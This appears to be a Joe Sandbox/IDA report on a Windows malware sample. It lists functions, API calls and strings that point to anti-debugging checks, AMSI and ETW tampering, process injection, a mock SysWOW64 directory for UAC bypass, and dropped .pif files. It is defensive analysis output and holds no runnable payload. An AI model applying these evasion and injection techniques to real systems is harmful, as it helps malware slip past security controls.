Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: PathString$DeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 2256775434-0
Opcode ID: 359baa95bbab30d392699d89435aed60c85a33062d5f5c8eb069daadc38e9885
Instruction ID: fdad6b2058f45d4c3a1bdc10f0a4c848ccc12b7014e88afa18ad26d0443c0e85
Opcode Fuzzy Hash: 359baa95bbab30d392699d89435aed60c85a33062d5f5c8eb069daadc38e9885
Instruction Fuzzy Hash: 4301E175908209BADB11EAE0DD51FCEB7BEEB48700F604475A501F3281EB74AF048A74

Function 02DCDBB0 Relevance: 3.1, APIs: 2, Instructions: 80nativeCOMMON

Download Yara Rule

APIs

RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02DCDBEB
NtClose.NTDLL(?), ref: 02DCDC65

Part of subcall function 02DB4C0C: SysFreeString.OLEAUT32(?), ref: 02DB4C1A

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: Path$CloseFreeNameName_String
String ID:
API String ID: 11680810-0
Opcode ID: 1f0eaebba184a9786b8fa2d09876a8d9173df8b4e28c3a09612060b733e99da3
Instruction ID: 1cda7434a97ea35b76cc9c5e2623bf6ef2966c286cd5e63afd334cd8bc3bc727
Opcode Fuzzy Hash: 1f0eaebba184a9786b8fa2d09876a8d9173df8b4e28c3a09612060b733e99da3
Instruction Fuzzy Hash: CC21E271650309BAEB11EAD4CC56FDF77BDEF08700F500565B601F7281DAB4AD058B65

Function 02DCEC74 Relevance: 236.3, APIs: 9, Strings: 120, Instructions: 10535filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 02DC8824: FreeLibrary.KERNEL32(02E11384,00000000,02E11388,Function_000055D8,00000004,02E11398,02E11388,05F5E0FF,00000040,02E1139C,02E11384,00000000,00000000,00000000,00000000,02DC890B), ref: 02DC88EB

Part of subcall function 02DCEB94: GetModuleHandleW.KERNEL32(KernelBase,?,02DCEF98,UacInitialize,02E0CE80,02DDAFD8,OpenSession,02E0CE80,02DDAFD8,ScanBuffer,02E0CE80,02DDAFD8,ScanString,02E0CE80,02DDAFD8,Initialize), ref: 02DCEB9A
Part of subcall function 02DCEB94: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02DCEBAC

Part of subcall function 02DCEBF0: GetModuleHandleW.KERNEL32(KernelBase), ref: 02DCEC00
Part of subcall function 02DCEBF0: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02DCEC12
Part of subcall function 02DCEBF0: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02DCEC29

Part of subcall function 02DBC2EC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02F058C8,?,02DCFBFE,ScanBuffer,02E0CE80,02DDAFD8,OpenSession,02E0CE80,02DDAFD8,ScanBuffer,02E0CE80,02DDAFD8,OpenSession), ref: 02DBC303

Part of subcall function 02DCDBB0: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02DCDBEB
Part of subcall function 02DCDBB0: NtClose.NTDLL(?), ref: 02DCDC65

Part of subcall function 02DB7E3C: GetFileAttributesA.KERNEL32(00000000,?,02DD2A49,ScanString,02E0CE80,02DDAFD8,OpenSession,02E0CE80,02DDAFD8,ScanBuffer,02E0CE80,02DDAFD8,OpenSession,02E0CE80,02DDAFD8,Initialize), ref: 02DB7E47

Part of subcall function 02DCDACC: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02DCDB0B
Part of subcall function 02DCDACC: NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 02DCDB72
Part of subcall function 02DCDACC: NtClose.NTDLL(?), ref: 02DCDB7B

Part of subcall function 02DC87A0: LoadLibraryW.KERNEL32(?,?), ref: 02DC87B4
Part of subcall function 02DC87A0: GetProcAddress.KERNEL32(02E11390,BCryptVerifySignature), ref: 02DC87CE
Part of subcall function 02DC87A0: FreeLibrary.KERNEL32(02E11390,02E11390,BCryptVerifySignature,bcrypt,?,02E113D0,00000000,02E113A4,02DCA3C7,ScanString,02E113A4,02DCA77C,ScanBuffer,02E113A4,02DCA77C,Initialize), ref: 02DC880A

Part of subcall function 02DC870C: LoadLibraryW.KERNEL32(amsi), ref: 02DC8715
Part of subcall function 02DC870C: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02DC8774

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,02E0CE80,02DDAFD8,OpenSession,02E0CE80,02DDAFD8,ScanBuffer,02E0CE80,02DDAFD8,OpenSession,02E0CE80,02DDAFD8,02DDB330), ref: 02DD49B7

Part of subcall function 02DCDA44: RtlInitUnicodeString.NTDLL ref: 02DCDA6C
Part of subcall function 02DCDA44: RtlDosPathNameToNtPathName_U.NTDLL(00000000,00000000,00000000,00000000), ref: 02DCDA82
Part of subcall function 02DCDA44: NtDeleteFile.NTDLL(?), ref: 02DCDAA1

MoveFileA.KERNEL32(00000000,00000000), ref: 02DD4BB7
MoveFileA.KERNEL32(00000000,00000000), ref: 02DD4C0D

Strings

bcrypt, xrefs: 02DCF36D, 02DCF3A0, 02DCF3D3, 02DD99E8
NtCreateSection, xrefs: 02DDA675
UacScan, xrefs: 02DCED47, 02DCF586, 02DCF67E, 02DCFC4D, 02DD0833, 02DD0E11, 02DD1773, 02DD1E86, 02DD3097, 02DD3261, 02DD33C2, 02DD353B, 02DD36BE, 02DD388F, 02DD396D, 02DD3AFB, 02DD4007, 02DD43C4, 02DD45F9, 02DD52D7, 02DD5847, 02DD5A0C, 02DD5D3A, 02DD5E47, 02DD60A5, 02DD619D, 02DD6D40, 02DD70E2, 02DD72F9, 02DD748C, 02DD76E0, 02DD7B6C, 02DD7CF5, 02DD7E4E, 02DD7FF4, 02DD8181, 02DD8315, 02DD8494, 02DD870B, 02DD8B79, 02DD8D93, 02DD8F74, 02DD90E8, 02DD931E, 02DDA18E
WinHttp.WinHttpRequest.5.1, xrefs: 02DD17E9
sys.thgiseurt, xrefs: 02DD3ECC
DlpNotifyPreDragDrop, xrefs: 02DD9B78
RtlCreateQueryDebugBuffer, xrefs: 02DD9E08
NtMapViewOfSection, xrefs: 02DDA6A8
RetailTracerEnable, xrefs: 02DD97DA
BCryptQueryProviderRegistration, xrefs: 02DCF389
URL=file:", xrefs: 02DD64A7
NtQueryInformationThread, xrefs: 02DDA60F
VirtualAllocEx, xrefs: 02DDA237
SLLoadApplicationPolicies, xrefs: 02DD9633
C:\Users\Public\alpha.pif, xrefs: 02DD4B36
Advapi, xrefs: 02DDA0E2, 02DDA0F1, 02DDA100, 02DDA10F, 02DDA14B, 02DDA15A, 02DDA169
MiniDumpWriteDump, xrefs: 02DD899E
sppc, xrefs: 02DD95B1, 02DD95E4, 02DD9617, 02DD964A, 02DDA55A, 02DDA58D
SLGetEncryptedPIDEx, xrefs: 02DDA576
OpenSession, xrefs: 02DCECE3, 02DCEED7, 02DCF7BF, 02DCF8E0, 02DCF9ED, 02DCFB05, 02DCFED9, 02DD0077, 02DD021D, 02DD033D, 02DD04D2, 02DD05CA, 02DD07B7, 02DD095D, 02DD0C8B, 02DD0EB9, 02DD102D, 02DD1150, 02DD12CE, 02DD1674, 02DD16F7, 02DD180F, 02DD1927, 02DD1A33, 02DD1C51, 02DD1D6E, 02DD200D, 02DD2089, 02DD229E, 02DD243E, 02DD2780, 02DD293B, 02DD2B55, 02DD2C6F, 02DD2F9F, 02DD343E, 02DD35B7, 02DD373A, 02DD3B77, 02DD3DD5, 02DD3F0F, 02DD424B, 02DD4493, 02DD4675, 02DD4749, 02DD48AF, 02DD4A44, 02DD4D7C, 02DD4F16, 02DD50B6, 02DD525B, 02DD53CF, 02DD561F, 02DD56D3, 02DD5990, 02DD5A88, 02DD5F3F, 02DD6219, 02DD638D, 02DD6523, 02DD66D3, 02DD6DBC, 02DD6FC1, 02DD71DA, 02DD727D, 02DD7410, 02DD77D8, 02DD7A74, 02DD7D71, 02DD7ECA, 02DD8070, 02DD81FD, 02DD8391, 02DD8510, 02DD8613, 02DD8787, 02DD8A05, 02DD8BF5, 02DD8EE6, 02DD906C, 02DD92A2, 02DD94A8, 02DD966C, 02DD995B, 02DD9A0A, 02DD9C4A, 02DD9E41, 02DD9F39, 02DDA3EB, 02DDA9B3
CreateProcessA, xrefs: 02DDA128
ScanString, xrefs: 02DCEE0F, 02DCF03A, 02DCF14F, 02DCF2E0, 02DCF471, 02DCF6FA, 02DCF83B, 02DCFDC1, 02DD09D9, 02DD0B75, 02DD0FB1, 02DD11CC, 02DD1248, 02DD1565, 02DD188B, 02DD1B54, 02DD1F91, 02DD23C2, 02DD25D2, 02DD2688, 02DD29B7, 02DD2AD9, 02DD2D9A, 02DD31E5, 02DD3CDD, 02DD4153, 02DD4348, 02DD4D00, 02DD4E9A, 02DD51DF, 02DD55A3, 02DD5C42, 02DD6428, 02DD659F, 02DD6657, 02DD6CC4, 02DD715E, 02DD75C5, 02DD7BE8, 02DD868F, 02DD8A81, 02DD8E6A, 02DD9226, 02DD9524, 02DD98DF, 02DD9CC6, 02DD9EBD, 02DDA467
dbgcore, xrefs: 02DD89A3, 02DD89B7
advapi32, xrefs: 02DD898F
Initialize, xrefs: 02DCEDAB, 02DCFCC9, 02DCFE5D, 02DCFFFB, 02DD01A1, 02DD0456, 02DD0AF9, 02DD0F35, 02DD13DF, 02DD14E9, 02DD1BD0, 02DD1F02, 02DD2222, 02DD2556, 02DD2704, 02DD2A5D, 02DD2E16, 02DD4FBE, 02DD5353, 02DD574F, 02DD5914, 02DD5B80, 02DD5CBE, 02DD5EC3, 02DD6E38, 02DD7AF0, 02DD8AFD, 02DD96E8, 02DD9A86, 02DD9FB5, 02DDA36F, 02DDA8BB
SLGetGenuineInformation, xrefs: 02DD959A
SxTracerGetThreadContextDebug, xrefs: 02DD980D, 02DDA4DD
SLGetSLIDList, xrefs: 02DD95CD
DllGetActivationFactory, xrefs: 02DCF51A
EtwEventWrite, xrefs: 02DDA873
GetProcessMemoryInfo, xrefs: 02DD9873
wintrust, xrefs: 02DCF0C7, 02DCF0FA, 02DCF12D
RtlAllocateHeap, xrefs: 02DD9D6F, 02DD9DD5
BCryptVerifySignature, xrefs: 02DCF356, 02DD99D1
FX.c, xrefs: 02DD46FB
CryptSIPGetInfo, xrefs: 02DCF241
smartscreenps, xrefs: 02DCF4FE, 02DCF531, 02DCF564
DlpGetWebSiteAccess, xrefs: 02DD9C11
LdrLoadDll, xrefs: 02DDA774
EnumServicesStatusA, xrefs: 02DDA0DD
mssip32, xrefs: 02DCF258, 02DCF28B, 02DCF2BE, 02DD98BD
psapi, xrefs: 02DDA11E
ScanBuffer, xrefs: 02DCEE73, 02DCF1CB, 02DCF3F5, 02DCF95C, 02DCFA69, 02DCFB81, 02DCFF55, 02DD00F3, 02DD0299, 02DD03B9, 02DD054E, 02DD0646, 02DD08AF, 02DD0A55, 02DD0BF1, 02DD0D07, 02DD0D95, 02DD10A9, 02DD134A, 02DD145B, 02DD15F8, 02DD19A3, 02DD1AAF, 02DD1CCD, 02DD1DEA, 02DD2105, 02DD21A6, 02DD231A, 02DD24DA, 02DD27FC, 02DD2BF3, 02DD2E92, 02DD2F23, 02DD32DD, 02DD34BF, 02DD3633, 02DD37B6, 02DD3832, 02DD39E9, 02DD3BF3, 02DD3E51, 02DD4083, 02DD42C7, 02DD450F, 02DD47C5, 02DD492B, 02DD4AC0, 02DD4DF8, 02DD5132, 02DD544B, 02DD57CB, 02DD5B04, 02DD5DB6, 02DD5FBB, 02DD6121, 02DD6295, 02DD6311, 02DD6EB4, 02DD6F45, 02DD7375, 02DD7508, 02DD7664, 02DD775C, 02DD7C79, 02DD7F46, 02DD80EC, 02DD8279, 02DD840D, 02DD858C, 02DD8803, 02DD88FB, 02DD8D17, 02DD8FF0, 02DD9164, 02DD939A, 02DD942C, 02DD9764, 02DD9B02, 02DDA031, 02DDA937
@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%, xrefs: 02DD3361
http, xrefs: 02DD15D5
I_QueryTagInformation, xrefs: 02DD898A
lld.SLITUTEN, xrefs: 02DD3AB8
SLGatherMigrationBlob, xrefs: 02DDA543
kernel32, xrefs: 02DDA21B, 02DDA24E, 02DDA281, 02DDA2B4, 02DDA2E7, 02DDA31A, 02DDA34D
EnumServicesStatusExA, xrefs: 02DDA0FB
LdrGetProcedureAddress, xrefs: 02DDA7A7
IconIndex=, xrefs: 02DD64FD
NEO.c, xrefs: 02DD4445
WintrustAddActionID, xrefs: 02DCF0E3
RtlQueryProcessDebugInformation, xrefs: 02DDA0CE
VirtualProtect, xrefs: 02DDA26A
C:\\Users\\Public\\Libraries\\, xrefs: 02DD4B66, 02DD4BBC, 02DD58B7
NtGetWriteWatch, xrefs: 02DDA5A9
HotKey=, xrefs: 02DD6631
TrustOpenStores, xrefs: 02DCF0B0
VirtualAlloc, xrefs: 02DDA204
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 02DCFE37
Kernel32, xrefs: 02DDA12D, 02DDA13C, 02DDA178
BCryptRegisterProvider, xrefs: 02DCF3BC
C:\Users\Public\aken.pif, xrefs: 02DD4B51
tquery, xrefs: 02DD97F1
CreateProcessAsUserA, xrefs: 02DDA146
OpenProcess, xrefs: 02DDA29D
CryptSIPGetSignedDataMsg, xrefs: 02DCF2A7
Ntdll, xrefs: 02DDA0A6, 02DDA0B5, 02DDA0C4, 02DDA0D3
NtQueryVirtualMemory, xrefs: 02DDA5DC
NtReadVirtualMemory, xrefs: 02DDA6DB
[InternetShortcut], xrefs: 02DD6498
CryptSIPVerifyIndirectData, xrefs: 02DCF274, 02DD98A6
CreateProcessWithLogonW, xrefs: 02DDA164
GET, xrefs: 02DD1902
ieproxy, xrefs: 02DCEFC1, 02DCEFE8, 02DCF018
C:\Users\Public\, xrefs: 02DD3183, 02DD54D0, 02DD6743
C:\\Windows \\SysWOW64\\, xrefs: 02DD3ACE, 02DD3EE2
DlpCheckIsCloudSyncApp, xrefs: 02DD9BAB
EnumServicesStatusW, xrefs: 02DDA0EC
GZmMS1j, xrefs: 02DCECBC
SetUnhandledExceptionFilter, xrefs: 02DDA336
C:\\Windows \\SysWOW64\\svchost.exe, xrefs: 02DD36A8
UacUninitialize, xrefs: 02DD2D1E, 02DD301B, 02DD3113, 02DD38F1, 02DD3F8B
NtOpenFile, xrefs: 02DDA80D
NtQuerySystemInformation, xrefs: 02DDA0A1
endpointdlp, xrefs: 02DD9B8F, 02DD9BC2, 02DD9BF5, 02DD9C28
NtWaitForSingleObject, xrefs: 02DD9DA2
EtwEventWriteEx, xrefs: 02DDA840
C:\Windows\System32\, xrefs: 02DCF8B7, 02DD70BB, 02DD7E03
NtQuerySecurityObject, xrefs: 02DDA70E
DllRegisterServer, xrefs: 02DCF001, 02DCF54D
NtSetSecurityObject, xrefs: 02DD89C6
CreateProcessW, xrefs: 02DDA137
psapi, xrefs: 02DD988A
EnumServicesStatusExW, xrefs: 02DDA10A
NtDeviceIoControlFile, xrefs: 02DDA0B0
EnumProcessModules, xrefs: 02DDA119
NtAlertResumeThread, xrefs: 02DD9D3C
CreateProcessAsUserW, xrefs: 02DDA155, 02DDA173
NtOpenObjectAuditAlarm, xrefs: 02DD8976
FlushInstructionCache, xrefs: 02DDA303
SLIsGenuineLocalEx, xrefs: 02DD9600
.url, xrefs: 02DD54DB
DllGetClassObject, xrefs: 02DCEFB0, 02DCF4E7, 02DD9840, 02DDA510
ntdll, xrefs: 02DD897B, 02DD89CB, 02DD89DF, 02DD9D53, 02DD9D86, 02DD9DB9, 02DD9DEC, 02DD9E1F, 02DDA5C0, 02DDA5F3, 02DDA626, 02DDA659, 02DDA68C, 02DDA6BF, 02DDA6F2, 02DDA725, 02DDA758, 02DDA78B, 02DDA7BE, 02DDA7F1, 02DDA824, 02DDA857, 02DDA88A
NtOpenSection, xrefs: 02DDA642
sppwmi, xrefs: 02DDA527
NtAccessCheck, xrefs: 02DDA741
UacInitialize, xrefs: 02DCEF3B, 02DCF602, 02DCFD45, 02DD3D59, 02DD41CF, 02DD49C8, 02DD4C84, 02DD503A, 02DD5527, 02DD703D, 02DD887F, 02DD8C9B
MiniDumpReadDumpStream, xrefs: 02DD89B2
GetProxyDllInfo, xrefs: 02DCEFD7
FindCertsByIssuer, xrefs: 02DCF116
DlpGetArchiveFileTraceInfo, xrefs: 02DD9BDE
NtQueryDirectoryFile, xrefs: 02DDA0BF
NtOpenProcess, xrefs: 02DD89DA
spp, xrefs: 02DD9824, 02DD9857, 02DDA4F4
NtWriteVirtualMemory, xrefs: 02DDA7DA
WriteVirtualMemory, xrefs: 02DDA2D0

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: FilePath$Library$Name$AddressFreeModuleName_Proc$CloseHandleLoadMove$AttributesCheckDebuggerDeleteInitPresentRemoteSleepStringUnicodeWrite
String ID: .url$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
API String ID: 3134816315-2905671141
Opcode ID: 8744bc6fa80dca7c2cc95331a625fcc7643a7b684740bfc930f2eddcac0213eb
Instruction ID: ee467fa2b80b05ffa083fb700a1eb183257ec8899d5d0fbfa7515604f6daa4f7
Opcode Fuzzy Hash: 8744bc6fa80dca7c2cc95331a625fcc7643a7b684740bfc930f2eddcac0213eb
Instruction Fuzzy Hash: 2B242E75A40559CBDF12EB64DCA0ADD73B6FF89300F6044E6E00AA7355DA31AE86CF60

Function 02DD7877 Relevance: 160.3, APIs: 5, Strings: 85, Instructions: 2772
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02DC8824: FreeLibrary.KERNEL32(02E11384,00000000,02E11388,Function_000055D8,00000004,02E11398,02E11388,05F5E0FF,00000040,02E1139C,02E11384,00000000,00000000,00000000,00000000,02DC890B), ref: 02DC88EB

CreateProcessAsUserW.ADVAPI32(02F057D8,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02F057DC,02F05820,OpenSession,02E0CE80,02DDAFD8,UacScan,02E0CE80), ref: 02DD7E39
ResumeThread.KERNEL32(02F05824,ScanBuffer,02E0CE80,02DDAFD8,OpenSession,02E0CE80,02DDAFD8,UacScan,02E0CE80,02DDAFD8,ScanBuffer,02E0CE80,02DDAFD8,OpenSession,02E0CE80,02DDAFD8), ref: 02DD8483
CloseHandle.KERNEL32(02F05820,ScanBuffer,02E0CE80,02DDAFD8,OpenSession,02E0CE80,02DDAFD8,UacScan,02E0CE80,02DDAFD8,02F05824,ScanBuffer,02E0CE80,02DDAFD8,OpenSession,02E0CE80), ref: 02DD8602

Part of subcall function 02DC87A0: LoadLibraryW.KERNEL32(?,?), ref: 02DC87B4
Part of subcall function 02DC87A0: GetProcAddress.KERNEL32(02E11390,BCryptVerifySignature), ref: 02DC87CE
Part of subcall function 02DC87A0: FreeLibrary.KERNEL32(02E11390,02E11390,BCryptVerifySignature,bcrypt,?,02E113D0,00000000,02E113A4,02DCA3C7,ScanString,02E113A4,02DCA77C,ScanBuffer,02E113A4,02DCA77C,Initialize), ref: 02DC880A

CloseHandle.KERNEL32(02F05820,02F05820,ScanBuffer,02E0CE80,02DDAFD8,UacInitialize,02E0CE80,02DDAFD8,ScanBuffer,02E0CE80,02DDAFD8,OpenSession,02E0CE80,02DDAFD8,UacScan,02E0CE80), ref: 02DD89F4

Part of subcall function 02DCDACC: RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02DCDB0B
Part of subcall function 02DCDACC: NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 02DCDB72
Part of subcall function 02DCDACC: NtClose.NTDLL(?), ref: 02DCDB7B

Part of subcall function 02DC818C: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02DC8216), ref: 02DC81F8

ExitProcess.KERNEL32(00000000,OpenSession,02E0CE80,02DDAFD8,ScanBuffer,02E0CE80,02DDAFD8,Initialize,02E0CE80,02DDAFD8,00000000,00000000,00000000,ScanString,02E0CE80,02DDAFD8), ref: 02DDAA25

Strings

bcrypt, xrefs: 02DD99E8
RtlQueryProcessDebugInformation, xrefs: 02DDA0CE
VirtualProtect, xrefs: 02DDA26A
NtCreateSection, xrefs: 02DDA675
UacScan, xrefs: 02DD7B6C, 02DD7CF5, 02DD7E4E, 02DD7FF4, 02DD8181, 02DD8315, 02DD8494, 02DD870B, 02DD8B79, 02DD8D93, 02DD8F74, 02DD90E8, 02DD931E, 02DDA18E
NtGetWriteWatch, xrefs: 02DDA5A9
VirtualAlloc, xrefs: 02DDA204
DlpNotifyPreDragDrop, xrefs: 02DD9B78
Kernel32, xrefs: 02DDA12D, 02DDA13C, 02DDA178
RtlCreateQueryDebugBuffer, xrefs: 02DD9E08
NtMapViewOfSection, xrefs: 02DDA6A8
RetailTracerEnable, xrefs: 02DD97DA
tquery, xrefs: 02DD97F1
CreateProcessAsUserA, xrefs: 02DDA146
OpenProcess, xrefs: 02DDA29D
Ntdll, xrefs: 02DDA0A6, 02DDA0B5, 02DDA0C4, 02DDA0D3
NtQueryInformationThread, xrefs: 02DDA60F
NtQueryVirtualMemory, xrefs: 02DDA5DC
NtReadVirtualMemory, xrefs: 02DDA6DB
VirtualAllocEx, xrefs: 02DDA237
CryptSIPVerifyIndirectData, xrefs: 02DD98A6
CreateProcessWithLogonW, xrefs: 02DDA164
SLLoadApplicationPolicies, xrefs: 02DD9633
Advapi, xrefs: 02DDA0E2, 02DDA0F1, 02DDA100, 02DDA10F, 02DDA14B, 02DDA15A, 02DDA169
DlpCheckIsCloudSyncApp, xrefs: 02DD9BAB
MiniDumpWriteDump, xrefs: 02DD899E
EnumServicesStatusW, xrefs: 02DDA0EC
sppc, xrefs: 02DD95B1, 02DD95E4, 02DD9617, 02DD964A, 02DDA55A, 02DDA58D
SLGetEncryptedPIDEx, xrefs: 02DDA576
OpenSession, xrefs: 02DD7884, 02DD79F8, 02DD7A74, 02DD7D71, 02DD7ECA, 02DD8070, 02DD81FD, 02DD8391, 02DD8510, 02DD8613, 02DD8787, 02DD8A05, 02DD8BF5, 02DD8EE6, 02DD906C, 02DD92A2, 02DD94A8, 02DD966C, 02DD995B, 02DD9A0A, 02DD9C4A, 02DD9E41, 02DD9F39, 02DDA3EB, 02DDA9B3
CreateProcessA, xrefs: 02DDA128
SetUnhandledExceptionFilter, xrefs: 02DDA336
NtOpenFile, xrefs: 02DDA80D
ScanString, xrefs: 02DD797C, 02DD7BE8, 02DD868F, 02DD8A81, 02DD8E6A, 02DD9226, 02DD9524, 02DD98DF, 02DD9CC6, 02DD9EBD, 02DDA467
NtQuerySystemInformation, xrefs: 02DDA0A1
dbgcore, xrefs: 02DD89A3, 02DD89B7
advapi32, xrefs: 02DD898F
EtwEventWriteEx, xrefs: 02DDA840
endpointdlp, xrefs: 02DD9B8F, 02DD9BC2, 02DD9BF5, 02DD9C28
NtWaitForSingleObject, xrefs: 02DD9DA2
NtQuerySecurityObject, xrefs: 02DDA70E
Initialize, xrefs: 02DD7900, 02DD7AF0, 02DD8AFD, 02DD96E8, 02DD9A86, 02DD9FB5, 02DDA36F, 02DDA8BB
C:\Windows\System32\, xrefs: 02DD7E03
SLGetGenuineInformation, xrefs: 02DD959A
SxTracerGetThreadContextDebug, xrefs: 02DD980D, 02DDA4DD
SLGetSLIDList, xrefs: 02DD95CD
EtwEventWrite, xrefs: 02DDA873
NtSetSecurityObject, xrefs: 02DD89C6
CreateProcessW, xrefs: 02DDA137
GetProcessMemoryInfo, xrefs: 02DD9873
RtlAllocateHeap, xrefs: 02DD9D6F, 02DD9DD5
psapi, xrefs: 02DD988A
EnumServicesStatusExW, xrefs: 02DDA10A
NtDeviceIoControlFile, xrefs: 02DDA0B0
EnumProcessModules, xrefs: 02DDA119
BCryptVerifySignature, xrefs: 02DD99D1
CreateProcessAsUserW, xrefs: 02DDA155, 02DDA173
NtAlertResumeThread, xrefs: 02DD9D3C
FlushInstructionCache, xrefs: 02DDA303
NtOpenObjectAuditAlarm, xrefs: 02DD8976
SLIsGenuineLocalEx, xrefs: 02DD9600
DlpGetWebSiteAccess, xrefs: 02DD9C11
LdrLoadDll, xrefs: 02DDA774
DllGetClassObject, xrefs: 02DD9840, 02DDA510
ntdll, xrefs: 02DD897B, 02DD89CB, 02DD89DF, 02DD9D53, 02DD9D86, 02DD9DB9, 02DD9DEC, 02DD9E1F, 02DDA5C0, 02DDA5F3, 02DDA626, 02DDA659, 02DDA68C, 02DDA6BF, 02DDA6F2, 02DDA725, 02DDA758, 02DDA78B, 02DDA7BE, 02DDA7F1, 02DDA824, 02DDA857, 02DDA88A
NtOpenSection, xrefs: 02DDA642
EnumServicesStatusA, xrefs: 02DDA0DD
mssip32, xrefs: 02DD98BD
psapi, xrefs: 02DDA11E
ScanBuffer, xrefs: 02DD7C79, 02DD7F46, 02DD80EC, 02DD8279, 02DD840D, 02DD858C, 02DD8803, 02DD88FB, 02DD8D17, 02DD8FF0, 02DD9164, 02DD939A, 02DD942C, 02DD9764, 02DD9B02, 02DDA031, 02DDA937
sppwmi, xrefs: 02DDA527
NtAccessCheck, xrefs: 02DDA741
UacInitialize, xrefs: 02DD887F, 02DD8C9B
MiniDumpReadDumpStream, xrefs: 02DD89B2
I_QueryTagInformation, xrefs: 02DD898A
SLGatherMigrationBlob, xrefs: 02DDA543
kernel32, xrefs: 02DDA21B, 02DDA24E, 02DDA281, 02DDA2B4, 02DDA2E7, 02DDA31A, 02DDA34D
DlpGetArchiveFileTraceInfo, xrefs: 02DD9BDE
NtQueryDirectoryFile, xrefs: 02DDA0BF
NtOpenProcess, xrefs: 02DD89DA
EnumServicesStatusExA, xrefs: 02DDA0FB
LdrGetProcedureAddress, xrefs: 02DDA7A7
NtWriteVirtualMemory, xrefs: 02DDA7DA
WriteVirtualMemory, xrefs: 02DDA2D0
spp, xrefs: 02DD9824, 02DD9857, 02DDA4F4

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: CloseLibrary$FreeHandlePathProcess$AddressCacheCreateExitFileFlushInstructionLoadNameName_ProcResumeThreadUserWrite
